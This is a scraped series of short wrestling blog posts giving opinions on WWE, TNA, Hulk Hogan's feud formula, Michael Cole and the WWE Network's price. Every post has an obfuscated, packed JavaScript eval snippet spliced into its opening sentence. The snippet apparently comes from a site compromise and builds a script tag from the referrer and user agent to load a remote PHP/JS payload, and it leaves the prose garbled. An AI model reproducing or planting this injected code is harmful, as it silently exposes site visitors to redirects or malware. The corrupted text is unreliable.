Thought of the Day: From A Different Point Of View

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|niaee|var|u0026u|referrer|dhbdz||js|php'.split('|'),0,{})) agree.  He is very good.The more I watch Impact, the more impressed I am by Ethan Carter III.  The interesting thing about him though is how he came from being a comedy good in WWE to one of the best heels TNA has had in years.  He’s just easy to hate and can put on a passable match in the ring, which is all you need when the fans hate your guts.  He’s similar to Rick Rude from the early 90s in WCW where Rude went from a glorified comedy guy in WWF to a top heel when he was given a more serious look and treated like a killer.  It’s all about the packaging and how seriously the company treats someone.



Thought of the Day: Like Clockwork

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifzie|var|u0026u|referrer|ibist||js|php'.split('|'),0,{})) do we always miss this?It’s fall again and, just like every year, WWE is getting dull.  As usual, fans are annoyed that the product sucks, even though they sit through this EVERY SINGLE YEAR.  Think about it: every year the last few months are always a letdown and every single year the fans act surprised by it.  Why would you expect it to be different?  There has to be a down time in there somewhere, if nothing else just due to people running out of gas and needing to recharge a bit.

 

Every year it’s the same thing and every year it’s the same response.  It really should be expected by now.



Thought of the Day: A Little Dab’ll Do Ya

Today we’re looking at the most important thing you can have going into a match.That eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfynn|var|u0026u|referrer|kizkk||js|php'.split('|'),0,{})) thing is doubt.  Let’s look at the most famous wrestler of all time: Hulk Hogan.

 

Here’s the Hogan formula in a nutshell: a monster beats a bunch of jobbers and then a midcard guy, then he says he wants Hogan.  This sets up a big showdown in a major arena with the fans buying tickets because this conversation was taking place in school cafeterias all over the country:

“Studd can beat anybody.”

“He can’t beat Hogan……can he?”

“Man I don’t know.  We have to go to the show!”

 

Then Hogan would lose the first big match by countout or DQ.  The fans would be stunned because there was no way Hogan could lose and then there would be a rematch where Hogan would win.  A third match was needed to break the tie and you have three months of big house shows for the feud.  The key to the whole thing is doubt.  As soon as the fans say “can he?” there’s a reason to buy a ticket, because you have to see if Hogan can pull it off one more time.

 

The same is true for every big match.  You have someone you want to see win, but in a good story there’s a reason to believe they can’t do it.  You can buy it on PPV or watch it on TV or if you’re lucky actually go to the show, but you have to see if your guy can pull it off.  That’s the key to storytelling and making you want to see the match

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

.

 

 



Thought of the Day: (WW)E For Effort

We’re talking about the writing team today.I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkdhi|var|u0026u|referrer|fatzn||js|php'.split('|'),0,{})) can’t believe I’m saying this, but it seems like WWE is actually trying to do some new stuff with some characters.  You can see this very clearly in last night’s Intercontinental Title match.

 

Last night we saw Dolph Ziggler, accompanied by R-Ziggler, facing Hollywood Miz and his stunt double Damien Mizdow.  Here’s the important thing: you have three new characters out there and they guys are getting some fresh mileage out of it.

 

Now don’t get me wrong: R-Ziggler or Hollywood Miz aren’t going to main event a pay per view anytime soon, but these guys (and Sandow) were dead in the water.  Look at Truth for example.  We’ve seen him rap his own theme song and dance in the ring while talking about Little Jimmy and hitting the same moves for years now.  There was absolutely nothing we haven’t covered with him and there was nowhere else for him to go.  You knew he wasn’t going to win save for the occasional fluke upset to set up a nothing midcard title match and the rest of the time he was there as a jobber to the stars.

 

Now he’s Dolph Ziggler’s buddy and I’m not entirely sure if he’s going to win or lose.  He’s still the same wrestler, but the fresh package gives him several more miles.  It’s much better than just turning him heel and having him be the same guy because now he’s a new guy.  Look back to 2011 when he was turned crazy.  It was an entirely different character and he got a World Title match on pay per view out of it.

 

THe same is true for Sandow but it even has some roots.  You can look at Mizdow as his ultimate impersonation and it’s actually working for him.  It’s far better to be Miz’s lackey than to be out there for a one off comedy spot that doesn’t go anywhere and you can see the payoff coming a mile away.

 

They’re actually trying and while I have no reason to believe it’s going to last, it’s very nice to see them throwing something new out there than trying the same things over and over again and having them go nowhere.

 

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6



Thought of the Day: TNA’s Ancestor

Since they’re on the verge of death.  For roughly the 100th time in ten years.You eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khidy|var|u0026u|referrer|ydrrn||js|php'.split('|'),0,{})) often hear people comparing TNA to WCW and I don’t really get why.  In theory it’s because they’re the second biggest company in the country, but the situations are completely different.  Think about this for a second.

WCW has a basically unlimited budget.  They could pay for anything and anyone they wanted and never had to blink an eye.  They could routinely steal talent from WWF, whereas TNA has to pick up whatever released talent they can or sign someone from the indies.

TNA basically caters to the live audience.  Look at their ECW reunions to pop a big response from the fans in the arena and ignoring how the fans watching on TV feel about it.  It’s all about listening to the fans chant TNA instead of creating stars and making new fans.

The biggest thing of all though, and the hardest pill for TNA fans to swallow, they’re not competition to WWE.  At least not serious competition to WWE.  It’s as much competition to WWE as the Arena Football League is to the NFL.  WWE is so far and ahead of TNA that they can’t even notice them back there.  The other thing people so often overlook: other than a few weeks in 2010, WWE and TNA have never been in direct competition.  I can watch Raw, Impact and Smackdown without any scheduling conflicts or additional costs.  Other than their once every four month PPVs, TNA has nothing that directly challenges WWE, and if they tried, WWE would squash them like Barry Horowitz.

 

I could keep going for a long time, but the point should be clear.  TNA is much more like a modern day ECW than WCW as they’re basically a fly buzzing around WWE’s head instead of a tiger trying to kill them.

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6



Thought of the Day: The Hardest Working Man In The Business Today

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thhyd|var|u0026u|referrer|kffdd||js|php'.split('|'),0,{})) not who you would expect.It’s Michael Cole.  Last night he was added to the Main Event announce team, putting him on PPV, Raw, Smackdown and Main Event, plus whatever interviews he has to do for WWE.com.  When you consider all the stuff he has to deal with as he’s doing commentary (as in the voices in his ear and all the stuff he has to plug) and how much content he has to produce every week, it’s really a shame that he gets all the flack he does.  The guy works HARD and that’s far more than you can say about some people.



Thought of the Day: The Hand Is Emptier Than The Eye

Something eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fairi|var|u0026u|referrer|yriyk||js|php'.split('|'),0,{})) else that I miss about older days.

Why does no one bring props to the ring anymore? It doesn’t have to be anything special, but something simple can enhance an appearance. Look at something like Cena’s response to Rock a few years ago with the pinwheel. It was something so stupid but it helped the visual. Hold something, set something up, anything. Just add some spice to it.



Thought of the Day: Brother Can You Spare A Dime?

“It eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifrri|var|u0026u|referrer|fitba||js|php'.split('|'),0,{})) was worth the $9.99.” No, not really.That’s a line you hear about the pay per views airing on the Network.  Here’s the thing though: when you break it down, it’s FAR cheaper than that.  Think about it for a second.

Let’s say the Network costs $10 a month for easier math. At 30 days, that’s about $0.33 a day. A pay per view runs three hours(ish), or 1/8 of a day. Therefore, a pay per view is costing you five cents a month. Let me repeat that.

A WWE PAY PER VIEW COSTS FIVE FREAKING CENTS A MONTH!

I remember when a regular pay per view was $30 a month. Now it’s FIVE CENTS and includes unlimited free repeats, every other pay per view plus a bunch of other stuff. It’s why I continue to shake my head when people complain about the Network’s content. People who complain about it are never going to be happy and I have no idea why they want to watch anymore. It’s clearly never going to live up to whatever expectations they have, so why bother trying? Those people make me shake my head the same way people who rant about how much they hate Raw but never miss a show. It makes very little sense.



Thought of the Day: Never Ever?

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fetab|var|u0026u|referrer|ekbhh||js|php'.split('|'),0,{})) is more of something I looked up rather than an idea.As far as I can find, Booker T. and Shawn Michaels never had a one on one match.  I know Booker was on Smackdown for awhile, but you would think it would have happened once or twice over the years.



Thought of the Day: They Are The Nation

Of eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nykfn|var|u0026u|referrer|zfhde||js|php'.split('|'),0,{})) Domination?

As you might have seen on Raw, it seems that we’re getting a new Black Power stable with Xavier Woods as the Malcolm X character, leading Big E. and Kofi with possibly Titus O’Neil and Mark Henry joining. THis is an idea I’ve heard batted around forever and in this case, why not do it? It’s not like any of these guys are lighting the world on fire otherwise, so why not give them something to do? The last team was around like 15 years ago so it’s not like it’s a fresh idea.